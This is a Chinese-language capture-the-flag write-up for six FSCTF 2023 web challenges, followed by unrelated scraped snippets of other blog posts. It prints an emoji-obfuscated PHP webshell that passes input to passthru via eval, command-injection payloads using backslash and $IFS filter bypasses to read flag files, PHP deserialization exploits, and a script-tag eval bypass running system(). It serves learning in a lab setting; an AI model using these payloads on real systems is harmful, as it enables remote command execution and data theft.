[FSCTF 2023] web题解

news/2024/2/21 6:56:46

文章目录

    • 源码!启动!
    • webshell是啥捏
    • 细狗2.0
    • ez_php1
    • Hello,you
    • EZ_eval


源码!启动!

打开题目,发现右键被禁了
直接ctrl+u查看源码得到flag
在这里插入图片描述

webshell是啥捏

源码

<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽'])) {eval($😭($_GET['👽']));
};?>

php中变量与变量之间用点号连接表示拼接
题目拼接结果为passthru
那么我们直接ls / 在这里插入图片描述
得到flag
在这里插入图片描述

细狗2.0

简单的命令执行绕过
payload

?hongzh0=;ca\t$IFS$1/fl*g

得到flag
在这里插入图片描述

ez_php1

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{echo "!!!";$c = $_POST['FL_AG'];if(isset($c)){if (preg_match('/^.*(flag).*$/', $ja)) {echo 'You are bad guy!!!';}else {echo "Congratulation!!";echo $hint1;}}else {echo "Please input my love FL_AG";}
} else{die("game over!");
}
?> 

分析一下,就是简单的MD5绕过和php解析特性
得到hint
在这里插入图片描述访问./L0vey0U.php

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{echo "$hint2";
}
?>

exp

<?php
$str = 'YES I love';
echo serialize($str);

得到第二个hint
在这里插入图片描述访问./P0int.php

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{public $a;public $b;public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
@unserialize($_POST['data']);?> 

非常简单的变量引用
exp如下

<?php
class Clazz
{public $a;public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

在这里插入图片描述
解码得到flag
在这里插入图片描述

Hello,you

简单的命令注入,用分号隔断命令

1;ls

在这里插入图片描述
反斜杠绕过和星号绕过

1;ca\t f*

在这里插入图片描述

EZ_eval

源码

<?phpif(isset($_GET['word'])){$word = $_GET['word'];if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){die("nonono.");}$word = str_replace("?", "", $word);eval("?>". $word);
}else{highlight_file(__FILE__);
}

简单分析下,eval函数中已经闭合前面?>,那么我们要自己输入php的头<?,由于问号被过滤了
这里用secript(文件上传做的多会很快想到),然后就是一些常规过滤,用%09代替空格,反斜杠绕过关键字检测

?word=<script%09language="php">system('ca\t%09/fl\ag');</script>

得到flag
在这里插入图片描述


http://www.ppmy.cn/news/1178642.html

相关文章

基于android的 rk3399 同时支持多个USB摄像头

基于android的 rk3399 同时支持多个USB摄像头 一、前文二、CameraHal_Module.h三、CameraHal_Module.cpp四、编译&烧录Image五、App验证 一、前文 Android系统默认支持2个摄像头&#xff0c;一个前置摄像头&#xff0c;一个后置摄像头 需要支持数量更多的摄像头&#xff0…

主流架构(gcc、msvc、x86、x64、arm)中double与float浮点数保留精度(末尾清零)

​​​​​​float 是单精度浮点数&#xff0c;内存占4个字节&#xff0c;有效数字8位&#xff0c;表示范围是 -3.40E38~3.40E38。 double 是双精度浮点数&#xff0c;内存占8个字节&#xff0c;有效数字16位&#xff0c;表示范是-1.79E308~-1.79E308。 C和C标准没有指定EDCOX…

openwrt下游设备在校园网(DLUT-LingShui)中使用ipv6网络

背景&#xff1a;校园网最多支持6台设备的无感认证&#xff0c;需要使用路由器(本人使用openwrt系统)为更多的设备提供网络&#xff0c;但校园网分配的ipv6地址子网为/128&#xff0c;不能为路由器下的设备分配全球ipv6地址&#xff0c;因此需要使用nat6转发下游设备的局域网ip…

nginx+websphere sendRedirect 端口错误

nginxwebsphere sendRedirect 端口错误 问题现象&#xff1a; nginxwebsphere 当在websphere中使用sendRedirect时&#xff0c;会将websphere的端口传递到浏览器 eg: 正确的访问地址为&#xff1a;127.0.0.1 使用sendRedirect后&#xff0c;变为127.0.0.1:9080 解决办法&…

AGENS算法c++实现

cluster二维数组存放数据的编号&#xff0c;每次计算两个簇的距离&#xff0c;找出距离最近的&#xff0c;将其中一个簇的编号加入另一个编号的一维序列中&#xff0c;再将这个编号清除&#xff0c;之后再循环cluster。 #include<vector> #include <iostream> #in…

最近面试遇到的高频面试题

大家好&#xff0c;我是 jonssonyan 互联网寒冬&#xff1f;金九银十真的不存在了么&#xff1f;虽说现在行情是差了一些&#xff0c;面试机会少了一些&#xff0c;但是大部分公司还是或多或少的招人&#xff0c;春招秋招都在进行。有人离职就有人入职。所以如果你还没约到面试…

不同网段的IP怎么互通

最近在整理工作的时候发现一个不同网段无法互通的问题&#xff0c;就是我们大家熟知的一级路由和二级路由无法互通的问题。由于需要记录整个过程的完整性&#xff0c;这里也需要详细记录下整个过程&#xff0c;明白的人不用看&#xff0c;可以直接跳过&#xff0c;到解决方法去…

美颜SDK集成指南:为应用添加视频美颜功能

随着社交媒体和直播应用的兴起&#xff0c;视频美颜功能已成为用户追求的一项热门特性。用户希望能够在拍摄照片或进行实时视频直播时&#xff0c;使用美颜功能来增强其外观。为了满足这一需求&#xff0c;开发者可以考虑集成美颜SDK&#xff0c;为其应用增加这一吸引人的功能。…

Visual Studio Professional 2019 软件安装教程(附安装包下载)

Microsoft Visual Studio 是一个非常强大的集成开发环境&#xff08;IDE&#xff09;&#xff0c;适用于 Windows 上的 .NET 和 C 开发人员。它提供了一系列丰富的工具和功能&#xff0c;可以提升和增强软件开发的每个阶段。 Visual Studio IDE 是一个创意启动板&#xff0c;可…

C语言--程序环境和预处理(宏)

目录 前言 本章重点&#xff1a; 1. 程序的翻译环境和执行环境 2. 详解编译链接 2.1 翻译环境​编辑 2.2 编译本身也分为几个阶段 2.3 运行环境 3. 预处理详解 3.1 预定义符号 3.2 #define 3.2.1 #define 定义标识符 3.2.2 #define 定义宏 2.2.3 #define 替换规则 …

跳跃游戏(动态规划)

给你一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标 。数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标&#xff0c;如果可以&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 示例 1&#xff1a; 输…

hibernate源码(1)--- schema创建

sessionFactory 配置项&#xff1a; hibernate的核心是sessionFactory&#xff0c;那我们看看如何构建session Factory。 参考官网&#xff1a; plugins {id("java") } group "com.atai.hibernatespy" version "1.0-SNAPSHOT" repositories…

【CMN】Power management

CMN-700包括几种电源管理能力&#xff0c;要么由外部控制&#xff0c;要么由SoC辅助。CMN-700具有以下电源管理功能&#xff1a; &#xff08;1&#xff09;几个不同的预定义电源状态。这些状态包括SLC Tag和Data ram的all/half/none能否被powered up, powered down, or in re…

ORA-00904: “EQUIPMENTS0_“.“CREATETIME“: 标识符无效

解决ORA-00904: "XXX字段": 标识符无效 方法一&#xff1a;给字段添加上双引号在查询 //原来报错语句 SELECT CreateTime FROM "IQC_MaterialStandard_Record" //修改后可以正常执行的语句&#xff08;需要给字段添加双引号&#xff09; SELECT "C…

Python分享之多进程初步 (multiprocessing包)

我们已经见过了使用subprocess包来创建子进程&#xff0c;但这个包有两个很大的局限性&#xff1a;1) 我们总是让subprocess运行外部的程序&#xff0c;而不是运行一个Python脚本内部编写的函数。2) 进程间只通过管道进行文本交流。以上限制了我们将subprocess包应用到更广泛的…

FreeRTOS学习day1任务创建(动态创建)

顾名思义 免费的实时操作系统 用法基本和Linux下的多线程编程类似 探索者开发版实验 动态创建4个任务start_task task1 task2 task3 优先级依次为1 2 3 4 &#xff08;注意优先级不能为0,0是空闲任务&#xff09; 我的理解&#xff1a;主线程start_task 主线程 task1 ta…

基于web的音乐网站播放器,类似网易云

源码下载地址 支持&#xff1a;远程部署/安装/调试、讲解、二次开发/修改/定制 随着互联网技术的不断发展&#xff0c;音乐流媒体服务得到了广泛的普及。用户可以通过在线音乐网站、音乐APP等渠道随时随地收听和分享自己喜欢的音乐。因此&#xff0c;开发一个高效、稳定、易用…

web - Tomcat服务器

文章目录 目录 文章目录 前言 一 . CS和BS的异同 二 . 什么是Tomcat 二 . Tomcat安装 四 . Tomcat目录结构 bin目录: 用于存放二进制的可执行文件 config目录 server.xml&#xff1a;配置整个服务器信息。例如修改端口号。默认HTTP请求的端口号是&#xff1a;8080 lib目录 log…

【python海洋专题S2】找范围的语句进阶版本V2

【python海洋专题S2】找范围的语句进阶版本V2 本期内容 寻找范围的进阶版本&#xff0c;因为涉及到我要改范围寻找最佳的时候&#xff0c;每次改正很烦&#xff0c;所以想像matlab那样能够&#xff0c;lnfind(lon>100,‘first’);之后用到这个位置不用重新找了。现在可以了…

创建并启动华为HarmonyOS本地与远程模拟器及远程真机

1.打开设备管理器 2.选择要添加的手机设备,然后点击安装 3.正在下载华为手机模拟器 4.下载完成 5.创建新模拟器 下载系统镜像 点击下一步,创建模拟器 创建成功 启动模拟器 华为模拟器启动成功 6.登陆华为账号并使用远程模拟器 7.使用远程真机
最新文章